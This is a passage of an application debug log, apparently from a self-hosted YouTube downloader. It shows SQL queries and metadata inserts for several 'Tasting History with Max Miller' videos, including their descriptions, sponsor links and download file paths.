idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [5927] 02:52:14.842 [debug] Current batch of media processed. Will check again in 1000ms 02:52:15.843 [debug] Current batch of media processed. Will check again in 1000ms 02:52:16.844 [debug] Current batch of media processed. Will check again in 1000ms 02:52:17.648 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:52:17.845 [debug] Current batch of media processed. Will check again in 1000ms 02:52:18.846 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/alappanu\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nIn the Land of Ninkasi by Tate Paulette - https://amzn.to/49hDzAd\nTable of Gods - https://www.tableofgods.com/\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nJehu King of Israel is seen kneeling before King Shalmaneser III of Assyria offering him tribute. This relief is part of Black Obelisk of Shalmaneser III in the British Museum. Photo Credit: Steven G. Johnson / Wikimedia Commons / CC-BY-SA-3.0 \nAshurnasirpal on the throne - By Anthony Huan - https://www.flickr.com/photos/anthonyhuan/44841858665/, CC BY-SA 2.0, https://commons.wikimedia.org/w/index.php?curid=91494202\nAssyria Map: By John D. Croft at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=54600047\nThe Bronze Age Collapse Map - Simon Netchev, Creative Commons, https://www.worldhistory.org/image/15310/map-of-the-late-bronze-age-collapse-c-1200---1150/\nEngravings of the brass gates of Balawat: By Mohmmd Abd - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=116346707 \nZiggurat of Assur: By Fakhri Mahmood - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=111644965\n\n#tastinghistory", "duration" => 1254, "filename" => "/downloads/Tasting History with Max Miller/2025-12-23 Brewing 3,000 Year-Old Ancient Mesopotamian Beer/Brewing 3,000 Year-Old Ancient Mesopotamian Beer [MO0lKDNKxmE].mp4", "id" => "MO0lKDNKxmE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=MO0lKDNKxmE", "playlist_index" => 14, "timestamp" => 1766505639, "title" => "Brewing 3,000 Year-Old Ancient Mesopotamian Beer", "upload_date" => "20251223"} 02:52:18.847 [debug] QUERY OK source="sources" db=0.3ms idle=1082.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:52:18.847 [debug] QUERY OK source="sources" db=0.2ms idle=456.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:18.849 [debug] QUERY OK source="media_items" db=1.8ms idle=456.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-23 16:00:39Z], 3] 02:52:18.852 [debug] QUERY OK source="media_items" db=2.2ms idle=458.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/alappanu\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nIn the Land of Ninkasi by Tate Paulette - https://amzn.to/49hDzAd\nTable of Gods - https://www.tableofgods.com/\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nJehu King of Israel is seen kneeling before King Shalmaneser III of Assyria offering him tribute. This relief is part of Black Obelisk of Shalmaneser III in the British Museum. Photo Credit: Steven G. Johnson / Wikimedia Commons / CC-BY-SA-3.0 \nAshurnasirpal on the throne - By Anthony Huan - https://www.flickr.com/photos/anthonyhuan/44841858665/, CC BY-SA 2.0, https://commons.wikimedia.org/w/index.php?curid=91494202\nAssyria Map: By John D. Croft at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=54600047\nThe Bronze Age Collapse Map - Simon Netchev, Creative Commons, https://www.worldhistory.org/image/15310/map-of-the-late-bronze-age-collapse-c-1200---1150/\nEngravings of the brass gates of Balawat: By Mohmmd Abd - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=116346707 \nZiggurat of Assur: By Fakhri Mahmood - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=111644965\n\n#tastinghistory", "Brewing 3,000 Year-Old Ancient Mesopotamian Beer", "42d2b443-4090-4a11-87dc-e6f8942260c5", "MO0lKDNKxmE", "https://www.youtube.com/watch?v=MO0lKDNKxmE", false, 1254, false, 14, "/downloads/Tasting History with Max Miller/2025-12-23 Brewing 3,000 Year-Old Ancient Mesopotamian Beer/Brewing 3,000 Year-Old Ancient Mesopotamian Beer [MO0lKDNKxmE].mp4", false, false, 3, [], 98, ~U[2025-12-23 16:00:39Z], ~U[2026-03-31 06:52:18Z], ~U[2026-03-31 06:52:18Z], "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/alappanu\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nIn the Land of Ninkasi by Tate Paulette - https://amzn.to/49hDzAd\nTable of Gods - https://www.tableofgods.com/\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nJehu King of Israel is seen kneeling before King Shalmaneser III of Assyria offering him tribute. This relief is part of Black Obelisk of Shalmaneser III in the British Museum. Photo Credit: Steven G. Johnson / Wikimedia Commons / CC-BY-SA-3.0 \nAshurnasirpal on the throne - By Anthony Huan - https://www.flickr.com/photos/anthonyhuan/44841858665/, CC BY-SA 2.0, https://commons.wikimedia.org/w/index.php?curid=91494202\nAssyria Map: By John D. Croft at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=54600047\nThe Bronze Age Collapse Map - Simon Netchev, Creative Commons, https://www.worldhistory.org/image/15310/map-of-the-late-bronze-age-collapse-c-1200---1150/\nEngravings of the brass gates of Balawat: By Mohmmd Abd - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=116346707 \nZiggurat of Assur: By Fakhri Mahmood - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=111644965\n\n#tastinghistory", "Brewing 3,000 Year-Old Ancient Mesopotamian Beer", "MO0lKDNKxmE", "https://www.youtube.com/watch?v=MO0lKDNKxmE", 1254, false, "/downloads/Tasting History with Max Miller/2025-12-23 Brewing 3,000 Year-Old Ancient Mesopotamian Beer/Brewing 3,000 Year-Old Ancient Mesopotamian Beer [MO0lKDNKxmE].mp4", false, 3, ~U[2025-12-23 16:00:39Z]] 02:52:18.853 [debug] QUERY OK source="sources" db=0.2ms idle=86.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:18.853 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:52:18.854 [debug] QUERY OK source="media_items" db=0.3ms idle=5.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [5447] 02:52:18.854 [debug] Current batch of media processed. Will check again in 1000ms 02:52:19.854 [debug] Current batch of media processed. Will check again in 1000ms 02:52:20.855 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nWatch Christiaan make a chocolate wine pie here: \n\nhttps://www.instagram.com/reel/DSc2hzdDMUa/?igsh=NTc4MTIwNjQ2YQ==\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nChocolate Kitchen at Hampton Court - Joyofmuseums, CC BY-SA 4.0 https://creativecommons.org/licenses/by-sa/4.0, via Wikimedia Commons\n\n#tastinghistory", "duration" => 824, "filename" => "/downloads/Tasting History with Max Miller/2025-12-19 Chocolate Wine from 1723/Chocolate Wine from 1723 [0XHVOnKrk0I].mp4", "id" => "0XHVOnKrk0I", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=0XHVOnKrk0I", "playlist_index" => 15, "timestamp" => 1766160001, "title" => "Chocolate Wine from 1723", "upload_date" => "20251219"} 02:52:20.856 [debug] QUERY OK source="sources" db=0.2ms idle=464.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:52:20.856 [debug] QUERY OK source="sources" db=0.1ms idle=464.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:20.858 [debug] QUERY OK source="media_items" db=1.3ms idle=465.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-19 16:00:01Z], 3] 02:52:20.859 [debug] QUERY OK source="media_items" db=1.1ms idle=466.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nWatch Christiaan make a chocolate wine pie here: \n\nhttps://www.instagram.com/reel/DSc2hzdDMUa/?igsh=NTc4MTIwNjQ2YQ==\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nChocolate Kitchen at Hampton Court - Joyofmuseums, CC BY-SA 4.0 https://creativecommons.org/licenses/by-sa/4.0, via Wikimedia Commons\n\n#tastinghistory", "Chocolate Wine from 1723", "40f23b71-bea9-4e40-a6c5-3b1e5d3ad8ac", "0XHVOnKrk0I", "https://www.youtube.com/watch?v=0XHVOnKrk0I", false, 824, false, 15, "/downloads/Tasting History with Max Miller/2025-12-19 Chocolate Wine from 1723/Chocolate Wine from 1723 [0XHVOnKrk0I].mp4", false, false, 3, [], 98, ~U[2025-12-19 16:00:01Z], ~U[2026-03-31 06:52:20Z], ~U[2026-03-31 06:52:20Z], "Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nWatch Christiaan make a chocolate wine pie here: \n\nhttps://www.instagram.com/reel/DSc2hzdDMUa/?igsh=NTc4MTIwNjQ2YQ==\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nChocolate Kitchen at Hampton Court - Joyofmuseums, CC BY-SA 4.0 https://creativecommons.org/licenses/by-sa/4.0, via Wikimedia Commons\n\n#tastinghistory", "Chocolate Wine from 1723", "0XHVOnKrk0I", "https://www.youtube.com/watch?v=0XHVOnKrk0I", 824, false, "/downloads/Tasting History with Max Miller/2025-12-19 Chocolate Wine from 1723/Chocolate Wine from 1723 [0XHVOnKrk0I].mp4", false, 3, ~U[2025-12-19 16:00:01Z]] 02:52:20.860 [debug] QUERY OK source="sources" db=0.1ms idle=89.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:20.860 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:52:20.860 [debug] QUERY OK source="media_items" db=0.2ms idle=3.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [5174] 02:52:20.860 [debug] Current batch of media processed. Will check again in 1000ms 02:52:21.861 [debug] Current batch of media processed. Will check again in 1000ms 02:52:22.862 [debug] Current batch of media processed. Will check again in 1000ms 02:52:23.863 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Thank you to Bombas for sponsoring this video! Head to https://bombas.yt.link/0xWsLEg and use code tastinghistory20 at checkout for 20% off your first purchase.\n\nWatch GeanaVlogger’s video on my family history here - https://youtu.be/jXxHTUPOy6Y\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "duration" => 1393, "filename" => "/downloads/Tasting History with Max Miller/2025-12-16 World War 2 Mincemeat Pie for the Battle of the Bulge/World War 2 Mincemeat Pie for the Battle of the Bulge [g3IAXRkyl1s].mp4", "id" => "g3IAXRkyl1s", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=g3IAXRkyl1s", "playlist_index" => 16, "timestamp" => 1765900870, "title" => "World War 2 Mincemeat Pie for the Battle of the Bulge", "upload_date" => "20251216"} 02:52:23.864 [debug] QUERY OK source="sources" db=0.3ms idle=1472.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:52:23.864 [debug] QUERY OK source="sources" db=0.2ms idle=1473.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:23.866 [debug] QUERY OK source="media_items" db=1.5ms idle=1473.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-16 16:01:10Z], 3] 02:52:23.868 [debug] QUERY OK source="media_items" db=1.2ms idle=1092.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you to Bombas for sponsoring this video! Head to https://bombas.yt.link/0xWsLEg and use code tastinghistory20 at checkout for 20% off your first purchase.\n\nWatch GeanaVlogger’s video on my family history here - https://youtu.be/jXxHTUPOy6Y\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "World War 2 Mincemeat Pie for the Battle of the Bulge", "02fd2068-eed5-43bf-83ef-d24157d96eb2", "g3IAXRkyl1s", "https://www.youtube.com/watch?v=g3IAXRkyl1s", false, 1393, false, 16, "/downloads/Tasting History with Max Miller/2025-12-16 World War 2 Mincemeat Pie for the Battle of the Bulge/World War 2 Mincemeat Pie for the Battle of the Bulge [g3IAXRkyl1s].mp4", false, false, 3, [], 98, ~U[2025-12-16 16:01:10Z], ~U[2026-03-31 06:52:23Z], ~U[2026-03-31 06:52:23Z], "Thank you to Bombas for sponsoring this video! Head to https://bombas.yt.link/0xWsLEg and use code tastinghistory20 at checkout for 20% off your first purchase.\n\nWatch GeanaVlogger’s video on my family history here - https://youtu.be/jXxHTUPOy6Y\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting 